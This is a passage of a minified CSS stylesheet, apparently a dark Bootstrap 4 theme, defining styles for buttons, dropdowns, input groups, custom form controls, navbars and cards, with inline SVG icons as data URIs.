rgba(255,136,0,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#FF8800;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#FF8800;border-color:#FF8800}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5);box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5)}.btn-outline-danger{color:#CC0000;background-color:transparent;background-image:none;border-color:#CC0000}.btn-outline-danger:hover{color:#fff;background-color:#CC0000;border-color:#CC0000}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#CC0000;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#CC0000;border-color:#CC0000}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-outline-dark{color:#222;background-color:transparent;background-image:none;border-color:#222}.btn-outline-dark:hover{color:#fff;background-color:#222;border-color:#222}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#222;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#222;border-color:#222}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-link{font-weight:400;color:#2A9FD6;background-color:transparent}.btn-link:hover{color:#1d7097;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#555}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.09375rem;line-height:1.5;border-radius:0.3rem}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.765625rem;line-height:1.5;border-radius:0.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:0.875rem;color:#888;text-align:left;list-style:none;background-color:#282828;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #222}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#fff;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:#fff;text-decoration:none;background-color:#2A9FD6}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#2A9FD6}.dropdown-item.disabled,.dropdown-item:disabled{color:#555;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.765625rem;color:#555;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-1px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 1rem;margin-bottom:0;font-size:0.875rem;font-weight:400;line-height:1.5;color:#282828;text-align:center;white-space:nowrap;background-color:#282828;border:1px solid transparent;border-radius:0.25rem}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:#fff;background-color:#2A9FD6}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(42,159,214,0.25);box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(42,159,214,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:#fff;background-color:#c0e2f3}.custom-control-input:disabled ~ .custom-control-label{color:#555}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#e9ecef}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:0.25rem}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#2A9FD6}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#2A9FD6}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(42,159,214,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(42,159,214,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#2A9FD6}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(42,159,214,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.0625rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#282828;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23222' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:1px solid transparent;border-radius:0.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#95cfeb;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(149,207,235,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(149,207,235,0.5)}.custom-select:focus::-ms-value{color:#282828;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#555;background-color:#e9ecef}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.6484375rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.640625rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.0625rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.0625rem + 2px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#95cfeb;-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#95cfeb}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.0625rem + 2px);padding:0.375rem 1rem;line-height:1.5;color:#282828;background-color:#fff;border:1px solid transparent;border-radius:0.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.0625rem + 2px) - 1px * 2);padding:0.375rem 1rem;line-height:1.5;color:#282828;content:"Browse";background-color:#282828;border-left:1px solid transparent;border-radius:0 0.25rem 0.25rem 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:#555}.nav-tabs{border-bottom:1px solid #282828}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#282828}.nav-tabs .nav-link.disabled{color:#555;background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#fff;background-color:#282828;border-color:#282828}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#2A9FD6}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3359375rem;padding-bottom:0.3359375rem;margin-right:1rem;font-size:1.09375rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.09375rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0.25rem}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:rgba(0,0,0,0.9)}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:rgba(0,0,0,0.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,0.5)}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:rgba(0,0,0,0.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.5);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,0.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,0.9)}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:rgba(0,0,0,0.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:#fff}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.5);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#282828;background-clip:border-box;border:1px solid rgba(0,0,0,0.125);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,0.03);border-bottom:1px solid rgba(0,0,0,0.125)}.card-header:first-child{border-radius:calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(0,0,0,0.03);border-top:1px solid 